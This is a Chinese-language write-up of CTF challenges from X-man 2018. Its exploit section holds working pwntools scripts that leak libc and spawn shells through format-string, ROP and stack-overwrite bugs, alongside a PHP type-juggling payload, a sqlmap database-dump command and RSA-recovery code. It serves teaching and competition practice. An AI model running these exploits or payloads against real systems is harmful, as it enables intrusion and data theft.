X-man 2018 write up

Krace

merc.ouc@gmail.com

Misc:

Xman-A face

没看错的话是大雁吧（捂脸。

二维码的两个角上的方块被删掉了，用右上角那块旋转一下补上即可。最后解一个 base32.

Web：

Lottery：

一开始以为是 js 在处理抽奖结果，后来发现 js 只是用于显示的。。。看到回向 api.php 发送一个 json 的数据，猜测是

php 弱类型的比较，后面的 numbers 是 7 个字符，把 numbers 改成全是 true 的数组即可绕过。

Payload：

{"action":"buy","numbers":[true,true,true,true,true,true,true]}

News Center

就一个输入框，输入一个单引号页面直接就没了。。应该是 sql 注入，直接用 sqlmap 跑一下即可。

python sqlmap.py -u 'http://47.96.118.255:33066/' --data "search=1" --level 2 --dbms mysql –dump

Re

babymips

这个题就是读 mips 有点烦，一句一句看完之后发现是这个逻辑：输入 32 位的 flag，对 flag 的每一个字符异或（32-index），然后对剩下的 27 个，奇数位把该字符的最后两个 bit 放到前面，偶数位把该字符最前面两个 bit 放到后面。唯一的坑就是后面 27 个处理完了忘记了前面还有个异或，卡了很久。。。处理完了之后与给定的位置比较，反解即可。

脚本：

```
a='Q|j{g'
b=''
for i in range(5):
    b+=chr(ord(a[i])^(32-i))
```

```
flag=b
c=[
0x52,
0xFD,
0x16,
0xA4,
0x89,
0xBD,
0x92,
0x80,
0x13,
0x41,
0x54,
0xA0,
0x8D,
0x45,
0x18,
0x81,
0xDE,
0xFC,
0x95,
0xF0,
0x16,
0x79,
0x1A,
0x15,
0x5B,
0x75,
0x1F]
for i in range(27):
    if i%2==0:
        x=c[i]>>6
        x<<=24
        x>>=24
        y=c[i]<<2
        y<<=24
        y>>=24
        flag+=chr((x|y)&0xff)
    else:
        x=c[i]>>2
        x<<=24
        x>>=24
        y=c[i]<<6
        y<<=24
```

```
        y>>=24
        flag+=chr((x|y)&0xff)
print flag
real_flag=flag[:5]
for i in range(5,32):
    real_flag+=chr(ord(flag[i])^(32-i))
print real_flag
```

Pwn

Notebook

两个格式化字符串，不过都有限制，需要格式化字符串的长度和输出的长度一样。加个%0001c 即可。

首先泄漏出 system 的地址，然后把 strlen 的 got 改成 system 的地址，这样第二次检查就可以不用管了。因为 strlen 是在 check1 里面的。脚本：

```
from pwn import *
context.clear(arch = 'i386')
r=remote('118.31.49.175','9999')
#r=process('./noteboke')
free=0x804a018
strlen=0x804a038
sys=0x804a034
pay1=p32(sys)+"%21$s%"+"0"*13+"1c"
r.recvuntil('name?\n')
raw_input()
r.sendline(pay1)
a= r.recvline()
b=a[:4]
b=a[4:8]
log.success('%#x ',u32(b))
sys_addr=u32(b)

#23
writes = {strlen:   sys_addr}
x=fmtstr_payload(23,writes,8,write_size='byte')
print x
log.warning('fmtst : %d',len(x))
y=raw_input()
pay2="/bin/sh;"+x
r.sendline(pay2)
r.interactive()
```

babycpp

这个题利用的是 unique 这个函数的特性，会把数组中重复的元素给去掉，这里的去掉是指放到了数组的后面，利用这个性质就可以 leak 出 canary 和 libc_start_main 的地址，具体如下，canary 在第 22 和 23 那两个位置，我们输入 22

个 1，然后进行 unique，这样就可以把 cancry 和 libc 的地址放到前面进行输出（题目里只能输出前 20 个数字）；同时，修改 n 可以导致修改程序返回地址，控制执行流，一开始想着用 one gadget，gg。然后用 ret2libc，忘了这是个 64 位的，一直在那控制栈参数，忘了要控制 rdi。。用个 rop 控制一下 rdi 即可。

脚本：

```
from pwn import *
debug=1
if debug:
    r=remote('118.31.49.175','2333')
    l=ELF('./libc.so.6')
else:
    r = process('./babycpp')
    l=ELF('/lib64/libc.so.6')
r.recvuntil('n:\n')
r.sendline('22')
r.recvuntil('> ')
r.sendline('2')
r.recvuntil('num:\n')
r.sendline('1 '*22+"\n")


r.recvuntil('> ')
r.sendline('1')
r.sendline('28')


r.recvuntil('> ')
r.sendline('3')
a=r.recvline()
print a
b=a.split(' ')
canary1 = b[1]
canary2= b[2]
if debug:
    leak = int(b[5]) + (int(b[6])<<32)
```

```
else:
    leak = int(b[4]) + (int(b[5])<<32)
log.success('leak : %#x',leak)
if debug:
    base = leak-0x20830
else:
    base = leak - 245 - l.symbols['__libc_start_main']

log.success('base : %#x',base)
#one=0x4526a + base
one=base+l.symbols['system']

#one=0x41610 + base
log.success('one : %#x',one)

r.recvuntil('> ')
r.sendline('1')
r.sendline('36')

r.recvuntil('> ')
r.sendline('2')
ret1 = one&0xffffffff
ret2 = (one>>32)
if debug:
    sh=base+0x18cd57
else:
    sh = base+0x165665

pop_rdi_ret = 0x401253
log.success('sh : %#x',sh)
ret3 = sh&0xffffffff
ret4 = (sh>>32)
payload='1 '*22+canary1+" "+canary2+" "+'0 0 '
payload+=str(pop_rdi_ret)+" 0 "
payload+=str(ret3)+" "+str(ret4)+" "
payload+=str(ret1)+" "+str(ret2)+" "+"4198144 0 "+str(ret3)+"
"+str(ret4)+" "
r.sendline(payload)
raw_input()
r.recvuntil('> ')
r.sendline('4')
r.interactive()
```

dice-game

看似随机，实际上可以溢出 srand 的参数，这样每次的随机数就是一样的了，用 0x61616161 覆盖掉 seed，先写个 c 程序得到 0x61616161 产生的随机数，直接写脚本交互即可。

C:

```c
#include<stdio.h>
#include<stdlib.h>
int main(){

    srand(0x61616161);
    int i;
    for(i=0;i<50;i++){
        printf("%d ",rand()%6+1);
    }
}
```

脚本：

```
from pwn import *
a='5 6 4 6 6 2 3 6 2 2 3 4 3 2 5 2 5 3 6 5 3 1 5 6 4 5 5 2 4 6 3 2 4
4 6 3 5 6 6 4 5 6 1 1 1 3 1 4 5 4'
b=a.split(' ')
r=remote("47.96.239.28",'9999')
r.recv(1024)
r.sendline('a'*80)
for i in range(50):
   print r.recvuntil('Give me the point(1~6): ')
   r.sendline(b[i])
r.interactive()
```

stack

哇，这题还抢到了 1 血。

漏洞在修改数字那里，没有对下标做检查，可以精准的改写返回地址，题目里也改了一个 hackhere 函数，直接改过去发现远程主机上没有 bash，那么就改一下，用 sh。Z 爱程序中随便找个有 sh\x00 字符串的位置，这里用的是 0x8048987。32 位程序直接控制栈参数为这个地址，然后前面的返回地址用的是 call system。脚本：

```
from pwn import *
r=remote('47.96.239.28 ','2333')
base=0x8048987
sh=0
#r=process('./stack2')
r.recvuntil('have:\n')
r.sendline('1')
r.recvuntil('numbers\n')
r.sendline('1')

leak = 0x80485b4
for i in range(4):
    r.recvuntil('5. exit\n')
    r.sendline('3')
    r.recvuntil('change:')
    r.sendline(str(132+i))
    r.recvuntil('new number:\n')
    x=str(((leak)>>(8*i))&0xff)
    r.sendline(x)

for i in range(4):
    r.recvuntil('5. exit\n')
    r.sendline('3')
    r.recvuntil('change:')
    r.sendline(str(136+i))
    r.recvuntil('new number:\n')
    x=str(((sh+base)>>(8*i))&0xff)
    r.sendline(x)

r.recvuntil('5. exit\n')
r.sendline('5')
r.interactive()
```

Crypto

Xman-Rsa

这个题有点麻烦，可能是我做的有问题，首先看到那个 encryption.enc 打开发现完全不认识，仔细一看像 python，估计是在字母表上做了映射，根据 python 的代码格式，把映射关系找了出来，先写个脚本解开看看：

```
f=open('./encryption.encrypted')
a=f.read()
b=''
while a:
    b+=a
    a=f.read()
f.close()
m={'g':'f',
'q':'r',
'h':'o',
'b':'m',
'p':'i',
't':'s',
'k':'p',
'w':'t',
'u':'b',
'r':'a',
'd':'e',
'a':'d',
'e':'n',
'x':'c',
'z':'u',
'j':'g',
'c':'c',
'f':'w',
'i':'x',
'l':'y',
'm':'h',
'n':'n',
'o':'o',
's':'s',
'v':'k',
```

```
'y':'l',
}
c=''
for i in range(len(b)):
    if ord(b[i]) <= ord('z') and ord(b[i]) >= ord('a'):
        c+=m[b[i]]
    else:
        c+=b[i]
g=open('hh.py','w')
g.write(c)
g.close()
```

解开之后得到 hh.py：

```
from gmpy2 import is_prime
from os import urandom
import base64

def bytes_to_num(b):
    return int(b.encode('hex'), 16)

def num_to_bytes(n):
    b = hex(n)[2:-1]
    b = '0' + b if len(b)%2 == 1 else b
    return b.decode('hex')

def get_a_prime(l):
    random_seed = urandom(l)

    num = bytes_to_num(random_seed)

    while True:
        if is_prime(num):
            break
        num+=1
    return num

def encrypt(s, e, n):
    p = bytes_to_num(s)
    p = pow(p, e, n)
    return num_to_bytes(p).encode('hex')

def separate(n):
    p = n % 4
```

```
    t = (p*p) % 4
    return t == 1

f = open('flag.txt', 'r')
flag = f.read()

msg1 = ""
msg2 = ""
for i in range(len(flag)):
    if separate(i):
        msg2 += flag[i]
    else:
        msg1 += flag[i]

p1 = get_a_prime(128)
p2 = get_a_prime(128)
p3 = get_a_prime(128)
n1 = p1*p2
n2 = p1*p3
e = 0x1001
c1 = encrypt(msg1, e, n1)
c2 = encrypt(msg2, e, n2)
print(c1)
print(c2)

e1 = 0x1001
e2 = 0x101
p4 = get_a_prime(128)
p5 = get_a_prime(128)
n3 = p4*p5
c1 = num_to_bytes(pow(n1, e1, n3)).encode('hex')
c2 = num_to_bytes(pow(n1, e2, n3)).encode('hex')
print(c1)
print(c2)

print(base64.b64encode(num_to_bytes(n2)))
print(base64.b64encode(num_to_bytes(n3)))
```

读了一下发现是 rsa，不过流程比较麻烦，题目还给出了 n2,n3 以及 n1 加密后的两个结果，还有 flag 加密的密文。

首先解 n1，利用共模攻击 c1=n1^e1%n3　　c1=n1^e2%n3，

随便找了个脚本（这里就不放了）跑了一下得到了 n1，这样 n1 和 n2 都有了，gcd(n1,n2)就可以得到 p1,p2,p3，最后使用 rsatool，根据 p1,p2,e 和 p1,p3,e 得到 msg1 和 msg2 的两个 d1，d2。解除两个 m=("%x" % pow(c,d,n)).decode('hex')，最后别忘了这俩需要交叉得到 flag：

```
c1=230389826821496358836456793718905367014260705339063670275279849987
103055254043336805730030755293316613326013627649174065645989061708840
221879912032563521006025754628860337425073748637655597813759571686055
471699266234994443629078685639881487987162958548094911947427630181673
448538624472754042549199624154807166423303540641605830047163087265254
696097769820342916762232929328561408158723533434652656655878446251212
413610717609977963324531872916177218638445445531068419396139653065703
988554856424891729195040204153712078089805840119076477733886003865161
697357015777246736475033119280500548387702775138695817118506946360 9
d1=0x256d1f7cb4117f0436a79e5b4150d1a23fb500a1ad836ed372b0ef24b37f4208
095989c247b4bec7e88119fd5605e7257cd25ac0e4a683100dd43c01779bde7ca98f8
bb6bcd104955cdf6106d8269bff3195f9532e034c82962baf8995b0409d5ddeecb064
64842793e535e1bb6cf98cfd29be1e8625ce7756f972eafb85b9a638755e17a4e30cf
9e6f5c96e557f5e6c10969207a95aeca08585e15968368b0ee09ae3442df73d2520d1
36ff804ef708acc93461f52e07049b59f041009c0a7e3c001e4daf3a1daa4732b179e
d3ebd82250aefdf1b942a54a11a0cf6c4bf61e1ec2472392bac801f8b570c632047e0
7d7f13efad65d6b4f2b26919d3142dd81
n1=249958680991446282180762437108801120061860352849813250959894628457
245572645349717163508681052460728833362566502566487221663436670004410
527918551976158781816902116737099139669151027549948667392291637029404
307250363563092298024046202221856536519122853522215049638799098712363
956725712408127466756844367852763725964448877939470450821735775879167
030854824680114246869971622178907060733474783555216745034044148875677
932365387940217664789058465637962868589368658546991868625313779666358
785494338634703938976979032994816516248337018791441281015361319824756
942748046648864756390094838702067783079797653456862624168690673817 9
m1=("%x" % pow(c1,d1,n1)).decode('hex')
print m1
c2=234988877761225633224330330051875223370998430595661975371894980914
718485771769368526595862852395003668093259023346446413878325608063851
176206874102920844720818781787006717854800022776433278945256372628290
336746035947611040213064201170181517793605436670696514325962520970336
```

```
111963761982815700421647655770741239170093798350598908246603521958746
503515050926299541616227947414464421648224450392399131990216864864416
068570053952250651958661225271543700002452493141667655921647841861702
221913262097322271848740908200269720180095912313965917872948371549335
877460494601328057972612650018356957853499790623482815505521329911 5
d2=0x30d77a40a5cb64801b44a450b2cd7503927917f15ab6d6ab602738c9211ad839
aaca5fd781f2066b5418aec25f76edde8334122257ca8df878f0267baa0c4e98dbce6
72446a0ef97fd4dcc1c34df7038dd1a6d8c0f8fd4c8858ef41e226e7415ac0b8e194b
6b797addd3076b9bb14988412db04a9f483a43746f1aa61c1b39d97ce0bcd7fa1cfa2
2b79258d25f82a438f9e70ef1f85a38bd1ae2fcbf19c04373febcc5e4fb5a0f1b3fc8
c748eac595b5c832a4b8e6c9579f5e9b6e8f50dd125cff354d57c7d6806a9b6f1b1f7
fab5a4fc87b37a248d8fe348e77b70e1dab8b55b0ef7ea00e4d8afb8fa88b610e919b
25c8de43931aba20a6d617c7f0708f3771
n2=774160302970793233073967898239427561321705724969153314870438257443
989565704791150160091057136018839710972928927779671133438815620241276
974378516471324393200107847554127128182585967176778317803736313868315
205126377990756812447059823750268904567789160528519363779088004537230
391342465465582583764169431854420998041525618029697206606007320632347
396066967940195015196600302653157396207235885230463567165887886603000
348471525638855659971363869544851667364370304109473776395793785587099
224747229634888778821282371473508021105968868061831405026799517747803
576991269118578794403705067416307986710158660778076124526155820084 3

m2=("%x" % pow(c2,d2,n2)).decode('hex')
print m2
flag=''
for i in range(len(m2)):
    flag+=m1[i]+m2[i]
print flag
```

实在是太困了，三点才睡=_=，wp 写的比较简陋，见谅。

By Krace

UCAS YBS team

Mail:merc.ouc@gmail.com